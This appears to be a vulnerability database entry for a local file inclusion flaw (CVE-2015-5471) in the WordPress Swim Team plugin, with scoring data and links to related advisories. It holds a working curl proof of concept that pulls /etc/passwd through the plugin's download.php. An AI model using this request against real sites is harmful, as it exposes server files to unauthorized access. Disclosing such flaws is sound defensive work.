Lucene search
Larry W. CashdollarWPEX-ID:B00D9DDA-721D-4204-8995-093F695C3568HistoryJul 03, 2015 - 12:00 a.m.
Swim Team <= v1.44.10777 - Local File Inclusion
2015-07-0300:00:00
Larry W. Cashdollar
8
EPSS
0.11
Percentile
95.2%
The code in ./wp-swimteam/include/user/download.php doesn’t sanitize user input from downloading sensitive system files.
$ curl "http://www.vapidlabs.com/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"Related
patchstack
patchstack
WordPress Swim Team Plugin <= 1.44.10777 - Absolute Path Traversal
2015-07-10 00:00:00
nvd
nvd
CVE-2015-5471
2016-01-12 19:59:03
exploitdb
exploitdb
WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download
2015-07-13 00:00:00
wpvulndb
wpvulndb
Swim Team <= v1.44.10777 - Local File Inclusion
2015-07-03 00:00:00
cvelist
cvelist
CVE-2015-5471
2016-01-12 19:00:00
prion
prion
Path traversal
2016-01-12 19:59:00
nuclei
nuclei
Swim Team <= v1.44.10777 - Local File Inclusion
2021-10-25 23:04:56
cve
cve
CVE-2015-5471
2016-01-12 19:59:03
openvas
openvas